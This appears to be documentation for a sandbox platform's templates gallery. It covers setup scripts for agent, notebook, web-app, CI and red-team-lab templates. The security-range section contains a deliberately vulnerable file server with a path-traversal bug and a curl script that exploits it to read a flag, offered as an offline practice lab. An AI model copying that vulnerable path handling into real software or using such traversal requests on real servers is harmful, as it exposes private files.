kosa8 docs

Guides / kosa8 Cloud / Templates gallery

Templates gallery

A template is a finished starter sandbox: the right size, image, network and secrets, a setup script that runs inside it, and a first thing to try once it is ready. Launch one from the dashboard, the CLI, the desktop app or the API, and it opens on that first result.

What a launch does

  1. It creates a sandbox with the template's settings: a size (2x4, 4x8 …), a template (the universal image at that size), persistent, Docker inside where the template needs it, and the template's network preset. It is an ordinary sandbox: it shows in your list, is billed like any other and is yours to change or delete.
  2. If the template needs an API key (Claude Code, the OpenAI Agents SDK), the key must be stored first as a secret. The sandbox gets a placeholder and the broker's address; the real key is added on the way to that provider only.
  3. Once the sandbox is up, its setup script runs as a background command. It is safe to start twice: a lock in /workspace/.kosa8-gallery/{id}/ lets only the first run through, and its status and setup.log are kept there.
  4. When setup has finished, the launch reports the first win: the pane to open (terminal, previews, code or files), the command to run, or the preview URL.

A launch is recorded in the audit log as gallery.launch, beside the sandbox.create and sandbox.exec records of what it did, and your webhooks get sandbox.created as for any other sandbox.

The templates

The list below is generated from the same file the API serves, so it is always what a launch does.

TemplateSizeNetworkAsks forPlanLaunch
Claude Code agent2x4Package registries onlyANTHROPIC_API_KEYSolokosa8 cloud launch claude-code
Cursor agent (CLI)2x4Open internetnoneSolokosa8 cloud launch cursor-agent
OpenAI Agents SDK2x4Package registries onlyOPENAI_API_KEYSolokosa8 cloud launch openai-agents
Browser agent (Playwright)4x8Open internetnoneProkosa8 cloud launch browser-agent
Data analysis notebook2x4Package registries onlynoneSolokosa8 cloud launch data-analysis
Web app with live preview2x4Package registries onlynoneSolokosa8 cloud launch web-app
CI runner4x8Package registries onlynoneProkosa8 cloud launch ci-runner
Security range (red-team lab)4x8No internetnoneProkosa8 cloud launch security-range

Claude Code agent

Anthropic's coding agent in its own microVM, your API key held outside the sandbox.

Claude Code is already installed in the universal image. Your Anthropic key is stored as a kosa8 secret: the sandbox gets a placeholder and a broker address, and the real key is added on the way out to api.anthropic.com only. The network is limited to package registries.

What setup runs
mkdir -p /workspace/hello && cd /workspace/hello
[ -d .git ] || git init -q
cat > README.md <<'EOF'
# hello

A scratch project for Claude Code. Ask it to build something here.
EOF
claude --version

Cursor agent (CLI)

Cursor's terminal agent in a sandbox of its own, signed in with your Cursor account.

Cursor's licence does not allow shipping its CLI in an image, so setup installs it from Cursor with kosa8-install cursor-agent. Sign in from the terminal with your Cursor account, or export CURSOR_API_KEY there. The network is open, since Cursor's installer and service use several hosts.

What setup runs
command -v cursor-agent >/dev/null 2>&1 || kosa8-install cursor-agent
mkdir -p /workspace/hello
cursor-agent --version || true

OpenAI Agents SDK

A Python agent built on the OpenAI Agents SDK, ready to run, your OpenAI key held outside the sandbox.

Setup installs the openai-agents package from PyPI and writes a small agent to /workspace/agent. Your OpenAI key is stored as a kosa8 secret and added by the broker on the way to api.openai.com only; the SDK reads the broker's address from OPENAI_BASE_URL.

What setup runs
python3 -m pip install --quiet --disable-pip-version-check openai-agents
mkdir -p /workspace/agent
cat > /workspace/agent/hello_agent.py <<'EOF'
# A first agent: one instruction, one question.
from agents import Agent, Runner, set_tracing_disabled

# Traces would go to api.openai.com directly, which this sandbox cannot reach.
set_tracing_disabled(True)

agent = Agent(name="Assistant", instructions="You answer in one short paragraph.")
result = Runner.run_sync(agent, "What is a microVM, and why would an AI agent run in one?")
print(result.final_output)
EOF
python3 -c 'import agents; print("openai-agents ready")'

Browser agent (Playwright)

Headless Chromium driven by Playwright, with a first screenshot taken for you.

The universal image has Playwright and headless Chromium. Setup opens example.com and saves a screenshot to /workspace/browser, so you can see the browser works before pointing your agent at it. The Playwright MCP server is configured for the agent CLIs too. The network is open, since a browser agent visits sites.

What setup runs
command -v playwright >/dev/null 2>&1 || { echo 'playwright is not on PATH in this image'; exit 1; }
mkdir -p /workspace/browser && cd /workspace/browser
playwright screenshot --browser chromium https://example.com example.png
ls -l example.png

Data analysis notebook

Python with pandas, matplotlib and a Jupyter-style kernel, a sample dataset loaded.

Runs code cells in a persistent Python kernel (the sandbox's Code tab, or POST /v1/sandboxes/{id}/code): variables last between cells and charts come back as images. Setup writes a sample sales dataset to /workspace/data. The network is limited to package registries, so pip install works.

What setup runs
mkdir -p /workspace/data
python3 - <<'EOF'
import csv, random
random.seed(8)
regions = ["North", "South", "East", "West"]
products = ["Basic", "Pro", "Team"]
with open("/workspace/data/sales.csv", "w", newline="") as f:
    w = csv.writer(f)
    w.writerow(["month", "region", "product", "units", "revenue"])
    for m in range(1, 13):
        for r in regions:
            for p in products:
                units = random.randint(20, 400)
                price = {"Basic": 9, "Pro": 29, "Team": 79}[p]
                w.writerow([f"2026-{m:02d}", r, p, units, units * price])
print("wrote /workspace/data/sales.csv")
EOF
python3 -c 'import pandas, matplotlib; print("pandas", pandas.__version__)'

Web app with live preview

A Node dev server running in the sandbox, with a public preview URL you can open and share.

Setup writes a small Node app to /workspace/app and starts it with node --watch on port 3000, so an edit restarts it. A public preview URL is opened on that port: anyone with the link can see the page while the sandbox runs. Close it from the Previews tab.

What setup runs
mkdir -p /workspace/app && cd /workspace/app
[ -f server.js ] || cat > server.js <<'EOF'
// A first web app. Edit this file: node --watch restarts the server.
const http = require("node:http");
const started = new Date().toISOString();
http.createServer((req, res) => {
  res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
  res.end(`<!doctype html><meta name="viewport" content="width=device-width"><title>Hello from kosa8</title>
<body style="font:16px/1.5 system-ui;max-width:40rem;margin:4rem auto;padding:0 1rem">
<h1>Hello from your sandbox</h1><p>This page is served by Node ${process.version} inside a kosa8 microVM.</p>
<p>Edit <code>/workspace/app/server.js</code> and reload.</p><p><small>Server started ${started}</small></p></body>`);
}).listen(3000, "0.0.0.0", () => console.log("listening on :3000"));
EOF
setsid nohup node --watch server.js > /workspace/app/dev.log 2>&1 < /dev/null &
for i in $(seq 1 30); do curl -fsS -o /dev/null http://127.0.0.1:3000 && break; sleep 0.5; done
curl -fsS -o /dev/null http://127.0.0.1:3000 && echo 'dev server up on :3000'

CI runner

A build machine with its own Docker engine: test, build an image and run it, from one script.

The universal image (Node, Python, Go, Rust, Java and more) at 4 vCPU and 8 GB, with Docker inside. Setup starts dockerd and writes a sample project with a ci.sh that runs its tests, builds a container image and runs it. For GitHub Actions jobs, see the GitHub runners guide.

What setup runs
if ! docker info >/dev/null 2>&1; then setsid nohup dockerd > /var/log/dockerd.log 2>&1 < /dev/null & fi
for i in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done
docker version --format 'docker {{.Server.Version}}'
mkdir -p /workspace/ci-demo && cd /workspace/ci-demo
cat > sum.js <<'EOF'
module.exports = (...xs) => xs.reduce((a, b) => a + b, 0);
EOF
cat > sum.test.js <<'EOF'
const test = require("node:test");
const assert = require("node:assert");
const sum = require("./sum");
test("adds", () => assert.strictEqual(sum(1, 2, 3), 6));
test("empty is zero", () => assert.strictEqual(sum(), 0));
EOF
cat > Dockerfile <<'EOF'
FROM node:22-alpine
WORKDIR /app
COPY sum.js .
CMD ["node", "-e", "console.log('built in a kosa8 sandbox: 1+2+3 =', require('./sum')(1,2,3))"]
EOF
cat > ci.sh <<'EOF'
#!/bin/sh
set -e
echo '== test'
node --test
echo '== build'
docker build -q -t ci-demo .
echo '== run'
docker run --rm ci-demo
EOF
chmod +x ci.sh

Security range (red-team lab)

A deliberately vulnerable service to attack, sealed off from the internet.

Setup starts a small web service with a path-traversal bug on 127.0.0.1:8080 and writes attack.sh, which exploits it to read a flag and then shows that nothing can leave: the sandbox has no internet. Practise on it, or point your own red-team agent at it. Everything stays inside the microVM.

What setup runs
mkdir -p /workspace/range/www && cd /workspace/range
echo 'kosa8{you-read-a-file-outside-the-web-root}' > flag.txt
echo '<h1>Acme intranet</h1><p>Nothing to see here.</p>' > www/index.html
cat > target.py <<'EOF'
# A deliberately vulnerable file server: it joins the request path to its
# web root without normalising it, so /../flag.txt escapes the root.
import http.server, os
ROOT = "/workspace/range/www"
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        p = ROOT + ("/index.html" if self.path == "/" else self.path)
        try:
            with open(p, "rb") as f:
                body = f.read()
            self.send_response(200)
        except OSError:
            body = b"not found\n"
            self.send_response(404)
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a):
        pass
http.server.HTTPServer(("127.0.0.1", 8080), H).serve_forever()
EOF
cat > attack.sh <<'EOF'
#!/bin/sh
echo '== 1. the target answers'
curl -s http://127.0.0.1:8080/
echo
echo '== 2. path traversal: read a file outside the web root'
curl -s --path-as-is http://127.0.0.1:8080/../flag.txt
echo '== 3. try to send it out'
if curl -s -m 5 -o /dev/null https://example.com; then echo 'egress OPEN: the flag could leave'; else echo 'egress blocked: nothing leaves this sandbox'; fi
EOF
chmod +x attack.sh
setsid nohup python3 target.py > target.log 2>&1 < /dev/null &
for i in $(seq 1 20); do curl -fsS -o /dev/null http://127.0.0.1:8080/ && break; sleep 0.5; done
curl -fsS -o /dev/null http://127.0.0.1:8080/ && echo 'target up on 127.0.0.1:8080'

From the dashboard

In app.kosa8.com, press New sandbox and choose Templates, or open Templates from an empty sandbox list. Each card shows what you get, the size, the network and the plan it is meant for. Press Launch: a template that needs a key asks for it once (an admin stores it as a secret; it is never shown back), then the card shows each step (creating, booting, setting up) and opens the sandbox on its first-win tab. app.kosa8.com/app#templates/claude-code opens one card directly.

From the CLI

kosa8 cloud templates                 # the gallery: id, size, network, plan
kosa8 cloud launch claude-code        # asks for a missing key without echoing it, then waits for setup
kosa8 cloud launch web-app --no-wait  # print the sandbox id and return at once
kosa8 cloud launch ci-runner --size 8x16 --name build-1 --json

kosa8 cloud launch stores a missing key with the secrets API, launches, follows setup and prints the first win: the command to run in kosa8 cloud terminal ID, or the preview URL. On your own machine, kosa8 launch claude-code runs Claude Code in a local microVM with the claude agent kit; the other templates launch on kosa8 Cloud.

From the desktop app

The desktop app's Templates page shows the same gallery. A template that can run on this machine (Claude Code) has a Run locally button; every template can be launched on kosa8 Cloud with the account the app is signed in to.

From the API

The gallery is public and can be cached:

curl -s https://api.kosa8.com/v1/gallery
# {"version":1,"egress":{"open":{…},"registries":{…},"none":{…}},
#  "templates":[{"id":"claude-code","name":"Claude Code agent","size":"2x4","cpus":2,"mem_mb":4096,
#    "template":"universal-2x4","persistent":true,"egress":"registries","secrets":[{"name":"anthropic",…}],
#    "setup":[…],"setup_script":"…","first_win":{"pane":"terminal",…},"min_plan":"solo",…},…]}
curl -s https://api.kosa8.com/v1/gallery/web-app

Store a key the template asks for (an admin key; the entry's secrets[] gives the upstream, header, scheme and vars, the env map):

curl -s -X PUT https://api.kosa8.com/v1/secrets/anthropic \
  -H "Authorization: Bearer $KOSA8_ADMIN_KEY" -H 'Content-Type: application/json' \
  -d '{"value":"'"$ANTHROPIC_API_KEY"'","upstream":"https://api.anthropic.com","header":"x-api-key","scheme":"",
       "env":{"ANTHROPIC_API_KEY":"{{placeholder}}","ANTHROPIC_BASE_URL":"{{url}}"}}'

Launch, with a key that has sandboxes:write. name, size and region are optional:

curl -s -X POST https://api.kosa8.com/v1/gallery/claude-code/launch \
  -H "Authorization: Bearer $KOSA8_API_KEY" -H 'Content-Type: application/json' -d '{}'
# 202 {"sandbox":{"id":"sbx_…","state":"creating",…},"gallery":{"id":"claude-code","name":"Claude Code agent"},
#      "setup":{"state":"booting"},"first_win":{…},"progress":"/v1/gallery/launches/sbx_…"}

Then follow it. Each call reports where it is, and starts setup if the sandbox is up and setup has not started yet, so polling every few seconds is all a client needs to do:

curl -s -X POST https://api.kosa8.com/v1/gallery/launches/sbx_… \
  -H "Authorization: Bearer $KOSA8_API_KEY"
# {"state":"setting_up","log_tail":"…"}
# … later
# {"state":"ready","first_win":{"pane":"terminal","label":"Ask Claude Code to build and run something",
#   "command":"cd /workspace/hello && claude"}}

state is booting, setting_up, ready or failed (with the end of the setup log).

Networks

PresetWhat may leave the sandbox
registriesPackage registries only (npm, PyPI, GitHub, Go, crates, RubyGems, Maven, apt, Alpine, Docker), plus each secret's own upstream through the broker. Every template that holds a key uses this or less: beside an open network the broker would be optional.
noneNothing. The security range uses it, so what happens in it stays in it.
openAnything except hosts in your threat feed. For the browser agent and Cursor's agent, which need many hosts.

Your organization's own egress policy still applies: where it is enforced, a template's network can only be narrower.

Plans and cost

Each template names the plan it is meant for: Solo for sizes up to 2x4, Pro up to 4x8, Team up to 8x16, Scale up to 16x32. A template's sandbox counts toward the plan's Cloud sandbox-hours while it runs (hours of a 2 vCPU / 4 GB sandbox; bigger sizes count by vCPU). Nothing is billed per second on top of a plan, and there is no free tier, trial or credit. A template that holds a secret never sleeps, so delete it when you are done.

Troubleshooting

AnswerMeansNext step
409 secret_requiredThe template needs a key that is not stored yet; missing lists each one, with where to get it.Store it with PUT /v1/secrets/{name} (an admin), then launch again. The dashboard and CLI ask for it.
402 payment_requiredNo payment method yet, or the last charge was declined.Usage → Choose how to pay.
503 no_capacityNo host has room for that size right now.Try again shortly, or a smaller size.
404 not_foundNo template with that id.GET /v1/gallery lists them.
"state":"failed"The setup script exited with an error.Read /workspace/.kosa8-gallery/{id}/setup.log in the sandbox's terminal or Files tab. To run setup again, remove /workspace/.kosa8-gallery/{id} and poll the launch.